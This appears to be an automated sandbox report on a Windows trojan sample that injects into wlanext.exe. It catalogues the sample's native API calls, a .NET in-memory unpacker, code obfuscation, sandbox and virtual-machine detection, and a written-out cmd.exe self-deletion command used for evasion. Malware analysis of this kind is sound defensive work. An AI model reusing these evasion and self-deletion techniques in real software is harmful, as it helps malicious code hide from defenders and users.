Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0362B090 7_2_0362B090
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036E1FF1 7_2_036E1FF1
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03636E30 7_2_03636E30
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036DD616 7_2_036DD616
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036E2EF7 7_2_036E2EF7
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036E1D55 7_2_036E1D55
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03610D20 7_2_03610D20
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036E2D07 7_2_036E2D07
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0362D5E0 7_2_0362D5E0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036E25DD 7_2_036E25DD
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03642581 7_2_03642581
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036DD466 7_2_036DD466
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0362841F 7_2_0362841F
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0321D338 7_2_0321D338
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0321CBFB 7_2_0321CBFB
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0321D278 7_2_0321D278
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0321C74F 7_2_0321C74F
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03202FB0 7_2_03202FB0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0321BD37 7_2_0321BD37
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03202D90 7_2_03202D90
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03208C8B 7_2_03208C8B
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03208C90 7_2_03208C90
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\wlanext.exe Code function: String function: 0361B150 appears 35 times
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: String function: 0189B150 appears 48 times
Contains functionality to call native functions
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_004185F0 NtCreateFile, 3_2_004185F0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_004186A0 NtReadFile, 3_2_004186A0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_00418720 NtClose, 3_2_00418720
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_004187D0 NtAllocateVirtualMemory, 3_2_004187D0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_004185EB NtCreateFile, 3_2_004185EB
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0041871A NtClose, 3_2_0041871A
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D99A0 NtCreateSection,LdrInitializeThunk, 3_2_018D99A0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D9910 NtAdjustPrivilegesToken,LdrInitializeThunk, 3_2_018D9910
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D98F0 NtReadVirtualMemory,LdrInitializeThunk, 3_2_018D98F0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D9840 NtDelayExecution,LdrInitializeThunk, 3_2_018D9840
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D9860 NtQuerySystemInformation,LdrInitializeThunk, 3_2_018D9860
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D9A00 NtProtectVirtualMemory,LdrInitializeThunk, 3_2_018D9A00
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D9A20 NtResumeThread,LdrInitializeThunk, 3_2_018D9A20
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D9A50 NtCreateFile,LdrInitializeThunk, 3_2_018D9A50
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D95D0 NtClose,LdrInitializeThunk, 3_2_018D95D0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D9540 NtReadFile,LdrInitializeThunk, 3_2_018D9540
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D9780 NtMapViewOfSection,LdrInitializeThunk, 3_2_018D9780
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D97A0 NtUnmapViewOfSection,LdrInitializeThunk, 3_2_018D97A0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D9FE0 NtCreateMutant,LdrInitializeThunk, 3_2_018D9FE0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D9710 NtQueryInformationToken,LdrInitializeThunk, 3_2_018D9710
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D96E0 NtFreeVirtualMemory,LdrInitializeThunk, 3_2_018D96E0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D9660 NtAllocateVirtualMemory,LdrInitializeThunk, 3_2_018D9660
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D99D0 NtCreateProcessEx, 3_2_018D99D0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D9950 NtQueueApcThread, 3_2_018D9950
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D98A0 NtWriteVirtualMemory, 3_2_018D98A0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D9820 NtEnumerateKey, 3_2_018D9820
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018DB040 NtSuspendThread, 3_2_018DB040
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018DA3B0 NtGetContextThread, 3_2_018DA3B0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D9B00 NtSetValueKey, 3_2_018D9B00
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D9A80 NtOpenDirectoryObject, 3_2_018D9A80
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D9A10 NtQuerySection, 3_2_018D9A10
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D95F0 NtQueryInformationFile, 3_2_018D95F0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D9520 NtWaitForSingleObject, 3_2_018D9520
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018DAD30 NtSetContextThread, 3_2_018DAD30
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D9560 NtWriteFile, 3_2_018D9560
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018DA710 NtOpenProcessToken, 3_2_018DA710
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D9730 NtQueryVirtualMemory, 3_2_018D9730
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D9760 NtOpenProcess, 3_2_018D9760
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018DA770 NtOpenThread, 3_2_018DA770
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D9770 NtSetInformationFile, 3_2_018D9770
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D96D0 NtCreateKey, 3_2_018D96D0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D9610 NtEnumerateValueKey, 3_2_018D9610
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D9650 NtQueryValueKey, 3_2_018D9650
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D9670 NtQueryInformationProcess, 3_2_018D9670
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03659A50 NtCreateFile,LdrInitializeThunk, 7_2_03659A50
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03659910 NtAdjustPrivilegesToken,LdrInitializeThunk, 7_2_03659910
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036599A0 NtCreateSection,LdrInitializeThunk, 7_2_036599A0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03659860 NtQuerySystemInformation,LdrInitializeThunk, 7_2_03659860
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03659840 NtDelayExecution,LdrInitializeThunk, 7_2_03659840
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03659710 NtQueryInformationToken,LdrInitializeThunk, 7_2_03659710
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03659FE0 NtCreateMutant,LdrInitializeThunk, 7_2_03659FE0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03659780 NtMapViewOfSection,LdrInitializeThunk, 7_2_03659780
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03659660 NtAllocateVirtualMemory,LdrInitializeThunk, 7_2_03659660
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03659650 NtQueryValueKey,LdrInitializeThunk, 7_2_03659650
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036596E0 NtFreeVirtualMemory,LdrInitializeThunk, 7_2_036596E0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036596D0 NtCreateKey,LdrInitializeThunk, 7_2_036596D0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03659540 NtReadFile,LdrInitializeThunk, 7_2_03659540
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036595D0 NtClose,LdrInitializeThunk, 7_2_036595D0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03659B00 NtSetValueKey, 7_2_03659B00
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0365A3B0 NtGetContextThread, 7_2_0365A3B0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03659A20 NtResumeThread, 7_2_03659A20
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03659A00 NtProtectVirtualMemory, 7_2_03659A00
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03659A10 NtQuerySection, 7_2_03659A10
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03659A80 NtOpenDirectoryObject, 7_2_03659A80
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03659950 NtQueueApcThread, 7_2_03659950
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036599D0 NtCreateProcessEx, 7_2_036599D0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0365B040 NtSuspendThread, 7_2_0365B040
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03659820 NtEnumerateKey, 7_2_03659820
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036598F0 NtReadVirtualMemory, 7_2_036598F0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036598A0 NtWriteVirtualMemory, 7_2_036598A0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03659760 NtOpenProcess, 7_2_03659760
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0365A770 NtOpenThread, 7_2_0365A770
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03659770 NtSetInformationFile, 7_2_03659770
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03659730 NtQueryVirtualMemory, 7_2_03659730
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0365A710 NtOpenProcessToken, 7_2_0365A710
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036597A0 NtUnmapViewOfSection, 7_2_036597A0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03659670 NtQueryInformationProcess, 7_2_03659670
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03659610 NtEnumerateValueKey, 7_2_03659610
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03659560 NtWriteFile, 7_2_03659560
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03659520 NtWaitForSingleObject, 7_2_03659520
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0365AD30 NtSetContextThread, 7_2_0365AD30
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036595F0 NtQueryInformationFile, 7_2_036595F0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03218720 NtClose, 7_2_03218720
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_032187D0 NtAllocateVirtualMemory, 7_2_032187D0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_032186A0 NtReadFile, 7_2_032186A0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_032185F0 NtCreateFile, 7_2_032185F0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0321871A NtClose, 7_2_0321871A
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_032185EB NtCreateFile, 7_2_032185EB
Sample file is different than original file name gathered from version info
Source: 1D4l9eR0W4.exe, 00000000.00000002.664696995.0000000000EE8000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameLi.exe4 vs 1D4l9eR0W4.exe
Source: 1D4l9eR0W4.exe, 00000000.00000002.664916018.00000000015A0000.00000004.00000020.sdmp Binary or memory string: OriginalFilenameclr.dllT vs 1D4l9eR0W4.exe
Source: 1D4l9eR0W4.exe, 00000000.00000002.665552518.0000000004309000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameUI.dllF vs 1D4l9eR0W4.exe
Source: 1D4l9eR0W4.exe, 00000000.00000002.666422561.0000000006610000.00000004.00020000.sdmp Binary or memory string: OriginalFilenameUI.dllF vs 1D4l9eR0W4.exe
Source: 1D4l9eR0W4.exe, 00000000.00000002.665079576.0000000003301000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameInnerException.dll" vs 1D4l9eR0W4.exe
Source: 1D4l9eR0W4.exe, 00000003.00000000.661143351.0000000000E58000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameLi.exe4 vs 1D4l9eR0W4.exe
Source: 1D4l9eR0W4.exe, 00000003.00000002.714245379.0000000001B1F000.00000040.00000001.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs 1D4l9eR0W4.exe
Source: 1D4l9eR0W4.exe, 00000003.00000002.714005352.000000000198F000.00000040.00000001.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs 1D4l9eR0W4.exe
Source: 1D4l9eR0W4.exe, 00000003.00000002.714367021.0000000001BC2000.00000040.00020000.sdmp Binary or memory string: OriginalFilenamewlanext.exej% vs 1D4l9eR0W4.exe
Source: 1D4l9eR0W4.exe Binary or memory string: OriginalFilenameLi.exe4 vs 1D4l9eR0W4.exe
Source: 1D4l9eR0W4.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 1D4l9eR0W4.exe Virustotal: Detection: 25%
Source: 1D4l9eR0W4.exe ReversingLabs: Detection: 24%
Source: 1D4l9eR0W4.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\1D4l9eR0W4.exe "C:\Users\user\Desktop\1D4l9eR0W4.exe"
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process created: C:\Users\user\Desktop\1D4l9eR0W4.exe C:\Users\user\Desktop\1D4l9eR0W4.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\wlanext.exe C:\Windows\SysWOW64\wlanext.exe
Source: C:\Windows\SysWOW64\wlanext.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\1D4l9eR0W4.exe"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process created: C:\Users\user\Desktop\1D4l9eR0W4.exe C:\Users\user\Desktop\1D4l9eR0W4.exe Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\1D4l9eR0W4.exe" Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\1D4l9eR0W4.exe.log Jump to behavior
Source: classification engine Classification label: mal100.troj.evad.winEXE@7/1@13/10
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3740:120:WilError_01
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: 1D4l9eR0W4.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: 1D4l9eR0W4.exe Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: Binary string: wntdll.pdbUGP source: 1D4l9eR0W4.exe, 00000003.00000002.713836121.0000000001870000.00000040.00000001.sdmp, 1D4l9eR0W4.exe, 00000003.00000002.714005352.000000000198F000.00000040.00000001.sdmp, wlanext.exe, 00000007.00000002.920356093.000000000370F000.00000040.00000001.sdmp, wlanext.exe, 00000007.00000002.920211028.00000000035F0000.00000040.00000001.sdmp
Source: Binary string: wntdll.pdb source: 1D4l9eR0W4.exe, 1D4l9eR0W4.exe, 00000003.00000002.713836121.0000000001870000.00000040.00000001.sdmp, 1D4l9eR0W4.exe, 00000003.00000002.714005352.000000000198F000.00000040.00000001.sdmp, wlanext.exe, wlanext.exe, 00000007.00000002.920356093.000000000370F000.00000040.00000001.sdmp, wlanext.exe, 00000007.00000002.920211028.00000000035F0000.00000040.00000001.sdmp
Source: Binary string: wlanext.pdb source: 1D4l9eR0W4.exe, 00000003.00000002.714332060.0000000001BB0000.00000040.00020000.sdmp
Source: Binary string: wlanext.pdbGCTL source: 1D4l9eR0W4.exe, 00000003.00000002.714332060.0000000001BB0000.00000040.00020000.sdmp

Data Obfuscation:

barindex
.NET source code contains potential unpacker
Source: 1D4l9eR0W4.exe, cC/cP.cs .Net Code: BAG System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.2.1D4l9eR0W4.exe.e80000.0.unpack, cC/cP.cs .Net Code: BAG System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.0.1D4l9eR0W4.exe.e80000.0.unpack, cC/cP.cs .Net Code: BAG System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 3.2.1D4l9eR0W4.exe.df0000.1.unpack, cC/cP.cs .Net Code: BAG System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 3.0.1D4l9eR0W4.exe.df0000.1.unpack, cC/cP.cs .Net Code: BAG System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 3.0.1D4l9eR0W4.exe.df0000.0.unpack, cC/cP.cs .Net Code: BAG System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 3.0.1D4l9eR0W4.exe.df0000.3.unpack, cC/cP.cs .Net Code: BAG System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 3.0.1D4l9eR0W4.exe.df0000.2.unpack, cC/cP.cs .Net Code: BAG System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 3.0.1D4l9eR0W4.exe.df0000.5.unpack, cC/cP.cs .Net Code: BAG System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 3.0.1D4l9eR0W4.exe.df0000.9.unpack, cC/cP.cs .Net Code: BAG System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 3.0.1D4l9eR0W4.exe.df0000.7.unpack, cC/cP.cs .Net Code: BAG System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 0_2_00E86C63 push es; ret 0_2_00E86C64
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0041A80B push ecx; ret 3_2_0041A80C
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0041B832 push eax; ret 3_2_0041B838
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0041B83B push eax; ret 3_2_0041B8A2
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0041B89C push eax; ret 3_2_0041B8A2
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0041C514 push dword ptr [1A4A77D4h]; ret 3_2_0041C6C1
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_004155CA push FFFFFFC6h; iretd 3_2_004155DF
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0041B7E5 push eax; ret 3_2_0041B838
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_00DF6C63 push es; ret 3_2_00DF6C64
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018ED0D1 push ecx; ret 3_2_018ED0E4
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0366D0D1 push ecx; ret 7_2_0366D0E4
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0321B832 push eax; ret 7_2_0321B838
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0321B83B push eax; ret 7_2_0321B8A2
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0321A80B push ecx; ret 7_2_0321A80C
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0321B89C push eax; ret 7_2_0321B8A2
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0321B7E5 push eax; ret 7_2_0321B838
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0321C514 push dword ptr [1A4A77D4h]; ret 7_2_0321C6C1
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_032155CA push FFFFFFC6h; iretd 7_2_032155DF
Binary contains a suspicious time stamp
Source: 1D4l9eR0W4.exe Static PE information: 0xEB22348E [Mon Jan 3 10:03:58 2095 UTC]
Source: initial sample Static PE information: section name: .text entropy: 7.74726232744

Hooking and other Techniques for Hiding and Protection:

barindex
Self deletion via cmd delete
Source: C:\Windows\SysWOW64\wlanext.exe Process created: /c del "C:\Users\user\Desktop\1D4l9eR0W4.exe"
Source: C:\Windows\SysWOW64\wlanext.exe Process created: /c del "C:\Users\user\Desktop\1D4l9eR0W4.exe" Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Yara detected AntiVM3
Source: Yara match File source: 0.2.1D4l9eR0W4.exe.3321b58.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.665105654.000000000333D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.665079576.0000000003301000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 1D4l9eR0W4.exe PID: 1476, type: MEMORYSTR
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: 1D4l9eR0W4.exe, 00000000.00000002.665105654.000000000333D000.00000004.00000001.sdmp, 1D4l9eR0W4.exe, 00000000.00000002.665079576.0000000003301000.00000004.00000001.sdmp Binary or memory string: SBIEDLL.DLL
Source: 1D4l9eR0W4.exe, 00000000.00000002.665105654.000000000333D000.00000004.00000001.sdmp, 1D4l9eR0W4.exe, 00000000.00000002.665079576.0000000003301000.00000004.00000001.sdmp Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe RDTSC instruction interceptor: First address: 0000000000408614 second address: 000000000040861A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe RDTSC instruction interceptor: First address: 00000000004089AE second address: 00000000004089B4 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\wlanext.exe RDTSC instruction interceptor: First address: 0000000003208614 second address: 000000000320861A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
